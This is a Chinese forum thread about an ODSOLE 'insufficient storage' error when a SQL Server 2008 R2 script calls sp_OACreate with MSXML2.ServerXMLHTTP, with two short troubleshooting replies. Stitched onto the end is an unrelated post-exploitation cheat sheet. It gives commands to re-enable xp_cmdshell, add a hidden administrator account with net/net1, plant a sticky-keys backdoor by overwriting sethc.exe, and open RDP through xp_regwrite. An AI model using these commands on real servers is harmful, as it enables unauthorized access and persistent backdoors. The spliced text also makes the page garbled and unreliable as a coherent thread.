ODSOLE Extended Procedure 存储空间不足,无法处理此命令。

安涛声依旧 2017-06-02 09:07:41
ODSOLE Extended Procedure 存储空间不足,无法处理此命令。
原本一直都好好的,从25号开始就断断续续出问题,报以上错误,重启服务器或者重启SQL好像又好了,有时什么都不动,也可以。
25号,是处理那个勒索病毒,打了些补丁,总不能这也有影响吧?
现在好郁闷,系统需要调用HTTP接口执行外部程序。

操作系统:Windows Server 2012 R2 DataCenter
数据库:SQLServer 2008 R2



DECLARE
@object int,
@returnStatus int,
@returnText nvarchar(4000),
@errMsg nvarchar(4000),
@httpStatus varchar(20);

/* 初始化 */
EXEC @returnStatus = SP_OACreate 'MSXML2.ServerXMLHTTP',@object OUT;

IF @returnStatus <> 0
BEGIN
EXEC SP_OAGetErrorInfo @object, @errMsg OUT, @returnText OUT;
print '初始化对象失败';
print @errMsg + ISNULL(@returnText,'');
END
else
begin
print '初始化成功'
print @Object;
end
Exec sp_OADestroy @Object
...全文
969 3 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
shoppo0505 2017-06-07
  • 打赏
  • 举报
回复
引用 2 楼 tao60 的回复:
[quote=引用 1 楼 shoppo0505 的回复:] 一行一行测试,看看问题在哪里。 可能是存储过程需要处理的数据溢出。
其实我这段程序只执行了一行代码,其它的都只是变量定义和判断错误。[/quote] 我说的是SP_OACreate 'MSXML2.ServerXMLHTTP'中是不是有问题。
安涛声依旧 2017-06-02
  • 打赏
  • 举报
回复
引用 1 楼 shoppo0505 的回复:
一行一行测试,看看问题在哪里。 可能是存储过程需要处理的数据溢出。
其实我这段程序只执行了一行代码,其它的都只是变量定义和判断错误。
shoppo0505 2017-06-02
  • 打赏
  • 举报
回复
一行一行测试,看看问题在哪里。 可能是存储过程需要处理的数据溢出。
1、 未能找到存储过程'master..xpcmdshell' 这种情况我看到网上的方法是: 第一步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第二步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 2、 原因: 126(找不到指定的模块。)。 修复方法: 第一步: dbcc dropextendedproc ("xp_cmdshell") 第二步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第三步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 直接恢复,不管sp_addextendedproc是不是存在 3、 Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 修复方法:分离器上执行 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 4、 net提权出现 拒绝访问 可以尝试一下net1 user 用户 密码 /add 如果net1也是拒绝访问可以copy一个shfit后门试试执行cmd命令:copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 如果提示 复制1文件 哪么证明成功了。连接终端然后按5下shift看看蹦出来了什么。玩咔咔 资源管理器,现在只要手工加个用户就好了。 5、 建号 net user chenyu chenyu$ /add net localgroup administrators chenyu /add C:\WINDOWS\system32\dllcache\net1.exe user chenyu chenyu$ /add C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators chenyu /add 5、 开3389 execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

22,300

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧